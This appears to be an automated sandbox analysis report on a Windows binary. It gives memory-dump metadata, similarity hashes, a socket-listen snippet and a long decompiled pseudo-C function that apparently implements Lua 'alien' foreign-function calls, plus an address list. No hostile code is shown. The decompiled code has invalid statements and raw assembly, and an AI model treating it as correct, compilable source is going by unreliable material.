Part of subcall function 00594630: ioctlsocket.WSOCK32(?,8004667E,00000002), ref: 0059464A

listen.WSOCK32(?,?), ref: 00594349
WSAGetLastError.WSOCK32 ref: 00594352

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastioctlsocketlisten
String ID:
API String ID: 704306598-0
Opcode ID: 48f19a2327ce642a48d6359df9d0350830f583754c4cd02f66291cff23980f04
Instruction ID: 052a7361ea4a393699cd38eaae901cb76faf3ceb6ab01ff5634650ece3f20266
Opcode Fuzzy Hash: 48f19a2327ce642a48d6359df9d0350830f583754c4cd02f66291cff23980f04
Instruction Fuzzy Hash: A4D012A6601152579E00AA25FC49C6F2A9DFEC1354B090838F955D3201FA24DD078AB3

Uniqueness

Uniqueness Score: -1.00%

Function 005E1EF0, Relevance: 72.3, APIs: 33, Strings: 8, Instructions: 559
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E005E1EF0(long long __fp0, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v18;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				char _v72;
				signed int _v76;
				char _v80;
				signed int _v84;
				char _v88;
				signed int _v92;
				long long _v100;
				void* _v112;
				long long* __ebx;
				void* __edi;
				void* __esi;
				signed int _t261;
				signed int _t263;
				signed int _t264;
				signed int _t265;
				char* _t266;
				signed int _t277;
				signed int _t282;
				char* _t283;
				signed int _t292;
				char* _t306;
				char* _t307;
				signed int _t309;
				void* _t310;
				void* _t311;
				intOrPtr* _t312;
				signed int _t313;
				signed int _t314;
				signed int _t324;
				char _t335;
				signed int _t336;
				signed int _t337;
				intOrPtr _t338;
				signed int _t339;
				void* _t340;
				void* _t341;
				void* _t342;
				signed int _t343;
				void* _t344;
				long long _t368;

				_t368 = __fp0;
				_t261 =  *0x5e70f8; // 0xe7a5420d
				_v8 = _t261 ^ _t339;
				_t338 = _a4;
				_t263 = E005E1110(_t261 ^ _t339, 1, _t338, "alien_function");
				_t341 = _t340 + 4;
				if(_t263 == 0) {
					_t263 = E005E1110(_t263, 1, _t338, "alien_callback");
					_t342 = _t341 + 4;
					if(_t263 == 0) {
						_push("alien function or callback expected");
						_push(1);
						_push(_t338);
						L005E3F14();
						_t342 = _t342 + 0xc;
						_t309 = 0;
					} else {
						_t263 =  *_t263;
						_t309 =  *((intOrPtr*)(_t263 + 0x18));
					}
					_v24 = _t309;
				} else {
					_t309 = _t263;
					_v24 = _t263;
				}
				_t335 =  *((intOrPtr*)(_t309 + 0x2c));
				_push(_t338);
				_v72 = _t335;
				L005E3F38();
				_t264 = _t263 - 1;
				_t343 = _t342 + 4;
				_v16 = _t264;
				if(_t264 >= _t335) {
					if(_v16 <= _t335) {
						goto L15;
					}
					_t306 =  *(_t309 + 8);
					if(_t306 == 0) {
						_t306 = "anonymous";
					}
					_push(_t306);
					_push("alien: too many arguments (function %s)");
					goto L14;
				} else {
					_t307 =  *(_t309 + 8);
					if(_t307 == 0) {
						_t307 = "anonymous";
					}
					_push(_t307);
					_push("alien: too few arguments (function %s)");
					L14:
					_push(_t338);
					L005E3F26();
					_t343 = _t343 + 0xc;
					L15:
					_t313 = 0;
					_t326 = 0;
					_v76 = 0;
					_v60 = 0;
					_v56 = 0;
					_v52 = 0;
					if(_t335 <= 0) {
						L32:
						if(_v16 <= 0) {
							_t336 = _v84;
						} else {
							E005E4670(_v16 + _v16 + _v16 + _v16);
							_t336 = _t343;
						}
						_t310 = 2;
						if(_v72 <= 0) {
							L74:
							_t314 = _v24;
							_v64 = 0;
							_t265 =  *(_t314 + 0xc);
							if(_t265 > 0xc) {
								_t266 =  *(_t314 + 8);
								if(_t266 == 0) {
									_t266 = "anonymous";
								}
								_push(_t266);
								_push("alien: unknown return type (function %s)");
								_push(_t338);
								L005E3F26();
								L98:
								_t344 = _t343 + 0xc;
								L99:
								_t311 = _v68 +  ~_v56 * 8;
								_v40 = _v40 +  ~_v76 * 4;
								_v48 = _v48 - _v52;
								_t337 = 0;
								_v44 = _v44 +  ~_v60 * 4;
								if(_v72 <= 0) {
									L109:
									return E005E45A4(_v52 + _v56 + _v60 + _v76 + 1, _t311, _v8 ^ _t339, _v76, _t337, _t338);
								} else {
									goto L100;
								}
								do {
									L100:
									_t277 =  *((intOrPtr*)( *((intOrPtr*)(_v24 + 0x30)) + _t337 * 4)) + 0xfffffff3;
									if(_t277 > 3) {
										goto L108;
									}
									switch( *((intOrPtr*)(_t277 * 4 +  &M005E28F8))) {
										case 0:
											asm("fild dword [ecx]");
											_t346 = _t344 - 8;
											 *_t346 = _t368;
											_push(_t338);
											L005E3F80();
											_t344 = _t346 + 0xc;
											_v40 = _v40 + 4;
											goto L108;
										case 1:
											__edx = _v44;
											__eax =  *__edx;
											asm("fild dword [edx]");
											if(__eax < 0) {
												__fp0 = __fp0 +  *0x5e5878;
											}
											__esp = __esp - 8;
											 *__esp = __fp0;
											_push(__esi);
											L005E3F80();
											__esp = __esp + 0xc;
											_v44 = _v44 + 4;
											goto L108;
										case 2:
											__ecx = _v48;
											__edx =  *__ecx;
											_v28 = __edx;
											__esp = __esp - 8;
											asm("fild dword [ebp-0x18]");
											 *__esp = __fp0;
											_push(__esi);
											L005E3F80();
											__esp = __esp + 0xc;
											_v48 = _v48 + 1;
											goto L108;
										case 3:
											__fp0 =  *__ebx;
											__esp = __esp - 8;
											 *__esp = __fp0;
											_push(__esi);
											L005E3F80();
											__esp = __esp + 0xc;
											__ebx = __ebx + 8;
											goto L108;
									}
									L108:
									_t337 = _t337 + 1;
								} while (_t337 < _v72);
								goto L109;
							}
							switch( *((intOrPtr*)(_t265 * 4 +  &M005E28C4))) {
								case 0:
									__eax = _v24;
									__ecx =  *(__eax + 4);
									__edx =  &_v36;
									__eax = __eax + 0x10;
									__eax = E005E4130(__ebx,  &_v36, __edi, __fp0, __eax,  *(__eax + 4),  &_v36, __edi);
									__edx = _v36;
									_v28 = __edx;
									__esp = __esp + 8;
									asm("fild dword [ebp-0x18]");
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									goto L98;
								case 1:
									__eax = _v24;
									__ecx =  *(__eax + 4);
									_t180 =  &_v36; // -28
									__edx = _t180;
									__eax = __eax + 0x10;
									__eax = E005E4130(__ebx, _t180, __edi, __fp0, __eax,  *(__eax + 4), _t180, __edi);
									__edx = _v36 & 0x0000ffff;
									_v28 = __edx;
									__esp = __esp + 8;
									asm("fild dword [ebp-0x18]");
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									goto L98;
								case 2:
									__eax = _v24;
									__ecx =  *(__eax + 4);
									_t177 =  &_v36; // -28
									__edx = _t177;
									__eax = __eax + 0x10;
									__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi); // executed
									asm("fild dword [ebp-0x20]");
									__esp = __esp + 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									goto L98;
								case 3:
									_t187 =  &_v36; // -28
									__eax = _t187;
									__eax = _v24;
									__ecx =  *(__eax + 4);
									__eax = __eax + 0x10;
									__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t187, __edi);
									asm("fild dword [ebp-0x20]");
									__edx = _v36;
									goto L82;
								case 4:
									_t172 =  &_v88; // -80
									__eax = _t172;
									__eax = _v24;
									__ecx =  *(__eax + 4);
									__eax = __eax + 0x10;
									__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t172, __edi);
									asm("fild dword [ebp-0x54]");
									__esp = __esp + 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									goto L98;
								case 5:
									_t183 =  &_v92; // -84
									__eax = _t183;
									__eax = _v24;
									__ecx =  *(__eax + 4);
									__eax = __eax + 0x10;
									__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t183, __edi);
									asm("fild dword [ebp-0x58]");
									__edx = _v92;
									L82:
									if(__edx < 0) {
										__fp0 = __fp0 +  *0x5e5878;
									}
									__esp = __esp + 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									goto L98;
								case 6:
									E005E4130(_t310, _t326, _t336, _t368, _v24 + 0x10,  *((intOrPtr*)(_v24 + 4)), 0, _t336);
									_push(_t338);
									L005E3F74();
									_t344 = _t343 + 0x14;
									goto L99;
								case 7:
									_t201 =  &_v84; // -76
									__eax = _t201;
									__eax = _v24;
									__ecx =  *(__eax + 4);
									__eax = __eax + 0x10;
									__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t201, __edi);
									__fp0 = _v84;
									__esp = __esp + 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									goto L98;
								case 8:
									__eax = _v24;
									__ecx =  *(__eax + 4);
									_t207 =  &_v100; // -92
									__edx = _t207;
									__eax = __eax + 0x10;
									__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
									__fp0 = _v100;
									__esp = __esp + 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									goto L98;
								case 9:
									_t191 =  &_v36; // -28
									__eax = _t191;
									__eax = _v24;
									__ecx =  *(__eax + 4);
									__eax = __eax + 0x10;
									__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t191, __edi);
									__edx = _v36 & 0x000000ff;
									_v28 = __edx;
									__esp = __esp + 8;
									asm("fild dword [ebp-0x18]");
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									goto L98;
								case 0xa:
									_t196 =  &_v36; // -28
									__eax = _t196;
									__eax = _v24;
									__ecx =  *(__eax + 4);
									__eax = __eax + 0x10;
									__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t196, __edi);
									__edx = _v36;
									_v28 = __edx;
									__esp = __esp + 8;
									asm("fild dword [ebp-0x18]");
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									goto L98;
								case 0xb:
									__eax = _v24;
									__ecx =  *(__eax + 4);
									_t211 =  &_v64; // -56
									__edx = _t211;
									__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
									__eax = _v64;
									if(__eax == 0) {
										goto L92;
									}
									_push(__eax);
									_push(__esi);
									L005E3EF0();
									__esp = __esp + 8;
									goto L99;
								case 0xc:
									__eax = _v24;
									__ecx =  *(__eax + 4);
									_t215 =  &_v64; // -56
									__edx = _t215;
									__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
									__eax = _v64;
									if(__eax == 0) {
										L92:
										_push(__esi);
										L005E3F74();
										__esp = __esp + 4;
										goto L99;
									}
									_push(__eax);
									_push(__esi);
									L005E3F7A();
									__esp = __esp + 8;
									goto L99;
							}
						} else {
							_v16 = 0;
							_v80 = _v72;
							do {
								_t324 = _v24;
								_t326 =  *((intOrPtr*)(_t324 + 0x30));
								_t282 =  *(_v16 +  *((intOrPtr*)(_t324 + 0x30)));
								if(_t282 > 0x11) {
									L70:
									_t283 =  *(_t324 + 8);
									if(_t283 == 0) {
										_t283 = "anonymous";
									}
									_push(_t283);
									_push(_t310);
									_push("alien: parameter %i is of unknown type (function %s)");
									_push(_t338);
									L005E3F26();
									_t343 = _t343 + 0x10;
									goto L73;
								}
								switch( *((intOrPtr*)(_t282 * 4 +  &M005E287C))) {
									case 0:
										_t285 = E005E46A0(4);
										_v12 = _t343;
										_push(_t310);
										_push(_t338);
										L005E3F68();
										_t343 = _t343 + 8;
										_t286 = E005E45C0(_t285, _t368);
										_t325 = _v12;
										_t326 = _v16;
										 *_t325 = _t286;
										 *((intOrPtr*)(_v16 + _t336)) = _t325;
										goto L73;
									case 1:
										4 = E005E46A0(4);
										_v12 = __esp;
										_push(__ebx);
										_push(__esi);
										L005E3F68();
										asm("fnstcw word [ebp-0xe]");
										__eax = _v18 & 0x0000ffff;
										__edx = _v16;
										__esp = __esp + 8;
										__eax = _v18 & 0x0000ffff | 0x00000c00;
										_v28 = _v18 & 0x0000ffff | 0x00000c00;
										__eax = _v12;
										asm("fldcw word [ebp-0x18]");
										asm("fistp dword [ebp-0x18]");
										 *__eax = _v28;
										 *(__edx + __edi) = __eax;
										asm("fldcw word [ebp-0xe]");
										goto L73;
									case 2:
										__eax = 4;
										__eax = E005E46A0(4);
										_v12 = __esp;
										_push(__ebx);
										_push(__esi);
										L005E3F68();
										__esp = __esp + 8;
										__eax = E005E45C0(__eax, __fp0);
										__ecx = _v12;
										__edx = _v16;
										 *__ecx = __eax;
										 *(__edx + __edi) = __ecx;
										goto L73;
									case 3:
										4 = E005E46A0(4);
										_v12 = __esp;
										_push(__ebx);
										_push(__esi);
										L005E3F68();
										asm("fnstcw word [ebp-0xe]");
										__eax = _v18 & 0x0000ffff;
										__edx = _v16;
										__esp = __esp + 8;
										__eax = _v18 & 0x0000ffff | 0x00000c00;
										_v28 = _v18 & 0x0000ffff | 0x00000c00;
										__eax = _v12;
										asm("fldcw word [ebp-0x18]");
										asm("fistp qword [ebp-0x1c]");
										__ecx = _v32;
										 *__eax = __ecx;
										 *(__edx + __edi) = __eax;
										asm("fldcw word [ebp-0xe]");
										goto L73;
									case 4:
										__eax = 4;
										__eax = E005E46A0(4);
										_v12 = __esp;
										_push(__ebx);
										_push(__esi);
										L005E3F68();
										__esp = __esp + 8;
										__eax = E005E45C0(__eax, __fp0);
										__ecx = _v12;
										 *__ecx = __eax;
										__eax = _v16;
										 *(__eax + __edi) = __ecx;
										goto L73;
									case 5:
										4 = E005E46A0(4);
										_v12 = __esp;
										_push(__ebx);
										_push(__esi);
										L005E3F68();
										asm("fnstcw word [ebp-0xe]");
										__eax = _v18 & 0x0000ffff;
										__edx = _v16;
										__esp = __esp + 8;
										__eax = _v18 & 0x0000ffff | 0x00000c00;
										_v28 = _v18 & 0x0000ffff | 0x00000c00;
										__eax = _v12;
										asm("fldcw word [ebp-0x18]");
										asm("fistp qword [ebp-0x1c]");
										__ecx = _v32;
										 *__eax = __ecx;
										 *(__edx + __edi) = __eax;
										asm("fldcw word [ebp-0xe]");
										goto L73;
									case 6:
										goto L70;
									case 7:
										4 = E005E46A0(4);
										_v12 = __esp;
										_push(__ebx);
										_push(__esi);
										L005E3F68();
										__eax = _v12;
										__ecx = _v16;
										 *__eax = __fp0;
										__esp = __esp + 8;
										 *(__ecx + __edi) = __eax;
										goto L73;
									case 8:
										8 = E005E4686(8);
										_v12 = __esp;
										_push(__ebx);
										_push(__esi);
										L005E3F68();
										__eax = _v12;
										__edx = _v16;
										 *__eax = __fp0;
										__esp = __esp + 8;
										 *(__edx + __edi) = __eax;
										goto L73;
									case 9:
										4 = E005E46A0(4);
										_v12 = __esp;
										_push(__ebx);
										_push(__esi);
										L005E3F62();
										__ecx = _v12;
										 *__ecx = __al;
										__eax = _v16;
										__esp = __esp + 8;
										 *(__eax + __edi) = __ecx;
										goto L73;
									case 0xa:
										__eax = 4;
										__eax = E005E46A0(4);
										_v12 = __esp;
										_push(__ebx);
										_push(__esi);
										L005E3F62();
										__ecx = _v12;
										__edx = _v16;
										 *__ecx = __al;
										__esp = __esp + 8;
										 *(__edx + __edi) = __ecx;
										goto L73;
									case 0xb:
										__eax = 4;
										__eax = E005E46A0(4);
										_v12 = __esp;
										_push(__ebx);
										_push(__esi);
										L005E3F50();
										__esp = __esp + 8;
										_push(__ebx);
										_push(__esi);
										if(__eax == 0) {
											L005E3F4A();
											__esp = __esp + 8;
											if(__eax != 0) {
												_push(0);
												_push(__ebx);
												_push(__esi);
												L005E3F5C();
												__edx = _v12;
												__ecx = _v16;
												 *__edx = __eax;
												__eax = __edx;
												__esp = __esp + 0xc;
												 *(__ecx + __edi) = __eax;
											} else {
												__edx = _v12;
												__ecx = _v16;
												 *__edx = __eax;
												__eax = __edx;
												 *(__ecx + __edi) = __eax;
											}
										} else {
											L005E3F4A();
											__esp = __esp + 8;
											if(__eax != 0) {
												_push(__ebx);
												_push(__esi);
												L005E3F0E();
												__ecx = _v12;
												 *__ecx = __eax;
												__eax = __ecx;
												__ecx = _v16;
												__esp = __esp + 8;
												 *(__ecx + __edi) = __eax;
											} else {
												__ecx = _v12;
												 *__ecx = __eax;
												__eax = __ecx;
												__ecx = _v16;
												 *(__ecx + __edi) = __eax;
											}
										}
										goto L73;
									case 0xc:
										__eax = 4;
										__eax = E005E46A0(4);
										_v12 = __esp;
										_push(__ebx);
										_push(__esi);
										L005E3F4A();
										__esp = __esp + 8;
										if(__eax != 0) {
											_push(__ebx);
											_push(__esi);
											L005E3F56();
											__esp = __esp + 8;
											if(__eax == 0) {
												_push(__ebx);
												_push(__esi);
												L005E3F0E();
												__ecx = _v12;
												 *__ecx = __eax;
												__eax = _v16;
												__esp = __esp + 8;
												 *(__eax + __edi) = __ecx;
											} else {
												_push(0);
												_push(__ebx);
												_push(__esi);
												L005E3F5C();
												__ecx = _v12;
												 *__ecx = __eax;
												__eax = _v16;
												__esp = __esp + 0xc;
												 *(__eax + __edi) = __ecx;
											}
										} else {
											__ecx = _v12;
											 *__ecx = __eax;
											__eax = _v16;
											 *(__eax + __edi) = __ecx;
										}
										goto L73;
									case 0xd:
										_push(__ebx);
										_push(__esi);
										L005E3F68();
										__esp = __esp + 8;
										__eax = E005E45C0(__eax, __fp0);
										__ecx = _v40;
										 *_v40 = __eax;
										4 = E005E46A0(4);
										__ecx = _v40;
										__edx = _v16;
										__eax = __esp;
										 *__eax = __ecx;
										__ecx = __ecx + 4;
										 *(__edx + __edi) = __eax;
										_v40 = __ecx;
										goto L73;
									case 0xe:
										_push(__ebx);
										_push(__esi);
										L005E3F68();
										asm("fnstcw word [ebp-0xe]");
										__eax = _v18 & 0x0000ffff;
										__ecx = _v44;
										__eax = _v18 & 0x0000ffff | 0x00000c00;
										_v28 = _v18 & 0x0000ffff | 0x00000c00;
										__esp = __esp + 8;
										asm("fldcw word [ebp-0x18]");
										asm("fistp qword [ebp-0x1c]");
										__eax = _v32;
										 *_v44 = _v32;
										__eax = 4;
										asm("fldcw word [ebp-0xe]");
										__eax = E005E46A0(4);
										__ecx = _v44;
										__edx = _v16;
										__eax = __esp;
										 *__eax = __ecx;
										__ecx = __ecx + 4;
										 *(__edx + __edi) = __eax;
										_v44 = __ecx;
										goto L73;
									case 0xf:
										_push(__ebx);
										_push(__esi);
										L005E3F68();
										__esp = __esp + 8;
										__eax = E005E45C0(__eax, __fp0);
										__ecx = _v48;
										 *_v48 = __al;
										4 = E005E46A0(4);
										__ecx = _v48;
										__edx = _v16;
										__eax = __esp;
										 *__eax = __ecx;
										__ecx = __ecx + 1;
										 *(__edx + __edi) = __eax;
										_v48 = __ecx;
										goto L73;
									case 0x10:
										_push(__ebx);
										_push(__esi);
										L005E3F68();
										__eax = _v68;
										 *_v68 = __fp0;
										__esp = __esp + 8;
										4 = E005E46A0(4);
										__ecx = _v68;
										__edx = _v16;
										__eax = __esp;
										 *__eax = __ecx;
										__ecx = __ecx + 8;
										 *(__edx + __edi) = __eax;
										_v68 = __ecx;
										goto L73;
									case 0x11:
										__eax = 4;
										__eax = E005E46A0(4);
										_v12 = __esp;
										__eax = E005E1110(__eax, __ebx, __esi, "alien_callback");
										if(__eax == 0) {
											__eax = E005E1110(__eax, __ebx, __esi, "alien_function");
											if(__eax == 0) {
												_push("alien function or callback expected");
												_push(__ebx);
												_push(__esi);
												L005E3F14();
												__ecx = _v12;
												__edx = _v16;
												__esp = __esp + 0xc;
												__eax = 0;
												 *__ecx = 0;
												 *(__edx + __edi) = __ecx;
											} else {
												__eax =  *(__eax + 4);
												__ecx = _v12;
												__edx = _v16;
												 *__ecx = __eax;
												 *(__edx + __edi) = __ecx;
											}
										} else {
											__eax =  *__eax;
											__ecx = _v12;
											__edx = _v16;
											 *__ecx = __eax;
											 *(__edx + __edi) = __ecx;
										}
										goto L73;
								}
								L73:
								_v16 = _v16 + 4;
								_t310 = _t310 + 1;
								_t158 =  &_v80;
								 *_t158 = _v80 - 1;
							} while ( *_t158 != 0);
							goto L74;
						}
					}
					_t312 =  *((intOrPtr*)(_t309 + 0x30));
					do {
						_t292 =  *_t312 + 0xfffffff3;
						if(_t292 > 3) {
							goto L23;
						}
						switch( *((intOrPtr*)(_t292 * 4 +  &M005E286C))) {
							case 0:
								_t313 = _t313 + 1;
								goto L23;
							case 1:
								__edx = __edx + 1;
								goto L23;
							case 2:
								_v52 = _v52 + 1;
								goto L23;
							case 3:
								_v56 = _v56 + 1;
								goto L23;
						}
						L23:
						_t312 = _t312 + 4;
						_t335 = _t335 - 1;
					} while (_t335 != 0);
					_v60 = _t326;
					_v76 = _t313;
					if(_t313 > 0) {
						E005E4670(_t313 * 4);
						_t326 = _v60;
						_v40 = _t343;
					}
					if(_t326 > 0) {
						E005E4670(_v60 + _v60 + _v60 + _v60);
						_v44 = _t343;
					}
					if(_v56 > 0) {
						E005E4670(_v56 + _v56 + _v56 + _v56 + _v56 + _v56 + _v56 + _v56);
						_v68 = _t343;
					}
					if(_v52 > 0) {
						E005E4670(_v52);
						_v48 = _t343;
					}
					goto L32;
				}
			}

0x005e1ef0
0x005e1ef6
0x005e1efd
0x005e1f02
0x005e1f10
0x005e1f15
0x005e1f1a
0x005e1f28
0x005e1f2d
0x005e1f32
0x005e1f3b
0x005e1f40
0x005e1f42
0x005e1f43
0x005e1f48
0x005e1f4b
0x005e1f34
0x005e1f34
0x005e1f36
0x005e1f36
0x005e1f4d
0x005e1f1c
0x005e1f1c
0x005e1f1e
0x005e1f1e
0x005e1f50
0x005e1f53
0x005e1f54
0x005e1f57
0x005e1f5c
0x005e1f5f
0x005e1f64
0x005e1f67
0x005e1f80
0x00000000
0x00000000
0x005e1f82
0x005e1f87
0x005e1f89
0x005e1f89
0x005e1f8e
0x005e1f8f
0x00000000
0x005e1f69
0x005e1f69
0x005e1f6e
0x005e1f70
0x005e1f70
0x005e1f75
0x005e1f76
0x005e1f94
0x005e1f94
0x005e1f95
0x005e1f9a
0x005e1f9d
0x005e1f9d
0x005e1f9f
0x005e1fa3
0x005e1fa6
0x005e1fa9
0x005e1fac
0x005e1faf
0x005e203c
0x005e2040
0x005e2052
0x005e2042
0x005e2049
0x005e204e
0x005e204e
0x005e2059
0x005e205e
0x005e24fd
0x005e24fd
0x005e2500
0x005e2507
0x005e250d
0x005e2753
0x005e2758
0x005e275a
0x005e275a
0x005e275f
0x005e2760
0x005e2765
0x005e2766
0x005e276b
0x005e276b
0x005e276e
0x005e2781
0x005e278a
0x005e2790
0x005e2795
0x005e279d
0x005e27a0
0x005e2843
0x005e2868
0x00000000
0x00000000
0x00000000
0x005e27a6
0x005e27a6
0x005e27af
0x005e27b5
0x00000000
0x00000000
0x005e27bb
0x00000000
0x005e27c5
0x005e27c7
0x005e27ca
0x005e27cd
0x005e27ce
0x005e27d3
0x005e27d6
0x00000000
0x00000000
0x005e27dc
0x005e27df
0x005e27e1
0x005e27e5
0x005e27e7
0x005e27e7
0x005e27ed
0x005e27f0
0x005e27f3
0x005e27f4
0x005e27f9
0x005e27fc
0x00000000
0x00000000
0x005e2818
0x005e281b
0x005e281e
0x005e2821
0x005e2824
0x005e2827
0x005e282a
0x005e282b
0x005e2830
0x005e2833
0x00000000
0x00000000
0x005e2802
0x005e2804
0x005e2807
0x005e280a
0x005e280b
0x005e2810
0x005e2813
0x00000000
0x00000000
0x005e2837
0x005e2837
0x005e283a
0x00000000
0x005e27a6
0x005e2513
0x00000000
0x005e253b
0x005e253e
0x005e2542
0x005e2547
0x005e254b
0x005e2550
0x005e2554
0x005e2557
0x005e255a
0x005e255d
0x005e2560
0x005e2561
0x00000000
0x00000000
0x005e25bd
0x005e25c0
0x005e25c4
0x005e25c4
0x005e25c9
0x005e25cd
0x005e25d2
0x005e25d6
0x005e25d9
0x005e25dc
0x005e25df
0x005e25e2
0x005e25e3
0x00000000
0x00000000
0x005e2594
0x005e2597
0x005e259b
0x005e259b
0x005e25a0
0x005e25a4
0x005e25a9
0x005e25ac
0x005e25af
0x005e25b2
0x005e25b3
0x00000000
0x00000000
0x005e2624
0x005e2624
0x005e2628
0x005e262b
0x005e262f
0x005e2633
0x005e2638
0x005e263b
0x00000000
0x00000000
0x005e256c
0x005e256c
0x005e2570
0x005e2573
0x005e2577
0x005e257b
0x005e2580
0x005e2583
0x005e2586
0x005e2589
0x005e258a
0x00000000
0x00000000
0x005e25ee
0x005e25ee
0x005e25f2
0x005e25f5
0x005e25f9
0x005e25fd
0x005e2602
0x005e2605
0x005e2608
0x005e260a
0x005e260c
0x005e260c
0x005e2612
0x005e2615
0x005e2618
0x005e2619
0x00000000
0x00000000
0x005e2528
0x005e252d
0x005e252e
0x005e2533
0x00000000
0x00000000
0x005e26a1
0x005e26a1
0x005e26a5
0x005e26a8
0x005e26ac
0x005e26b0
0x005e26b5
0x005e26b8
0x005e26bb
0x005e26be
0x005e26bf
0x00000000
0x00000000
0x005e26c9
0x005e26cc
0x005e26d0
0x005e26d0
0x005e26d5
0x005e26d9
0x005e26de
0x005e26e1
0x005e26e4
0x005e26e7
0x005e26e8
0x00000000
0x00000000
0x005e2641
0x005e2641
0x005e2645
0x005e2648
0x005e264c
0x005e2650
0x005e2655
0x005e2659
0x005e265c
0x005e265f
0x005e2662
0x005e2665
0x005e2666
0x00000000
0x00000000
0x005e2671
0x005e2671
0x005e2675
0x005e2678
0x005e267c
0x005e2680
0x005e2685
0x005e2689
0x005e268c
0x005e268f
0x005e2692
0x005e2695
0x005e2696
0x00000000
0x00000000
0x005e26f2
0x005e26f5
0x005e26f9
0x005e26f9
0x005e2702
0x005e2707
0x005e270f
0x00000000
0x00000000
0x005e2711
0x005e2712
0x005e2713
0x005e2718
0x00000000
0x00000000
0x005e2728
0x005e272b
0x005e272f
0x005e272f
0x005e2738
0x005e273d
0x005e2745
0x005e271d
0x005e271d
0x005e271e
0x005e2723
0x00000000
0x005e2723
0x005e2747
0x005e2748
0x005e2749
0x005e274e
0x00000000
0x00000000
0x005e2064
0x005e2067
0x005e206e
0x005e2071
0x005e2071
0x005e2074
0x005e207a
0x005e2080
0x005e24d0
0x005e24d0
0x005e24d5
0x005e24d7
0x005e24d7
0x005e24dc
0x005e24dd
0x005e24de
0x005e24e3
0x005e24e4
0x005e24e9
0x00000000
0x005e24e9
0x005e2086
0x00000000
0x005e2092
0x005e2097
0x005e209a
0x005e209b
0x005e209c
0x005e20a1
0x005e20a4
0x005e20a9
0x005e20ac
0x005e20af
0x005e20b2
0x00000000
0x00000000
0x005e2117
0x005e211c
0x005e211f
0x005e2120
0x005e2121
0x005e2126
0x005e2129
0x005e212d
0x005e2130
0x005e2133
0x005e2138
0x005e213b
0x005e213e
0x005e2141
0x005e2148
0x005e214b
0x005e214e
0x00000000
0x00000000
0x005e20e6
0x005e20eb
0x005e20f0
0x005e20f3
0x005e20f4
0x005e20f5
0x005e20fa
0x005e20fd
0x005e2102
0x005e2105
0x005e2108
0x005e210a
0x00000000
0x00000000
0x005e219d
0x005e21a2
0x005e21a5
0x005e21a6
0x005e21a7
0x005e21ac
0x005e21af
0x005e21b3
0x005e21b6
0x005e21b9
0x005e21be
0x005e21c1
0x005e21c4
0x005e21c7
0x005e21ca
0x005e21cd
0x005e21cf
0x005e21d2
0x00000000
0x00000000
0x005e20ba
0x005e20bf
0x005e20c4
0x005e20c7
0x005e20c8
0x005e20c9
0x005e20ce
0x005e20d1
0x005e20d6
0x005e20d9
0x005e20db
0x005e20de
0x00000000
0x00000000
0x005e215b
0x005e2160
0x005e2163
0x005e2164
0x005e2165
0x005e216a
0x005e216d
0x005e2171
0x005e2174
0x005e2177
0x005e217c
0x005e217f
0x005e2182
0x005e2185
0x005e2188
0x005e218b
0x005e218d
0x005e2190
0x00000000
0x00000000
0x00000000
0x00000000
0x005e222d
0x005e2232
0x005e2235
0x005e2236
0x005e2237
0x005e223c
0x005e223f
0x005e2242
0x005e2244
0x005e2247
0x00000000
0x00000000
0x005e2254
0x005e2259
0x005e225c
0x005e225d
0x005e225e
0x005e2263
0x005e2266
0x005e2269
0x005e226b
0x005e226e
0x00000000
0x00000000
0x005e21df
0x005e21e4
0x005e21e7
0x005e21e8
0x005e21e9
0x005e21ee
0x005e21f1
0x005e21f3
0x005e21f6
0x005e21f9
0x00000000
0x00000000
0x005e2201
0x005e2206
0x005e220b
0x005e220e
0x005e220f
0x005e2210
0x005e2215
0x005e2218
0x005e221b
0x005e221d
0x005e2220
0x00000000
0x00000000
0x005e2276
0x005e227b
0x005e2280
0x005e2283
0x005e2284
0x005e2285
0x005e228a
0x005e228f
0x005e2290
0x005e2291
0x005e22cd
0x005e22d2
0x005e22d7
0x005e22eb
0x005e22ed
0x005e22ee
0x005e22ef
0x005e22f4
0x005e22f7
0x005e22fa
0x005e22fc
0x005e22fe
0x005e2301
0x005e22d9
0x005e22d9
0x005e22dc
0x005e22df
0x005e22e1
0x005e22e3
0x005e22e3
0x005e2293
0x005e2293
0x005e2298
0x005e229d
0x005e22b1
0x005e22b2
0x005e22b3
0x005e22b8
0x005e22bb
0x005e22bd
0x005e22bf
0x005e22c2
0x005e22c5
0x005e229f
0x005e229f
0x005e22a2
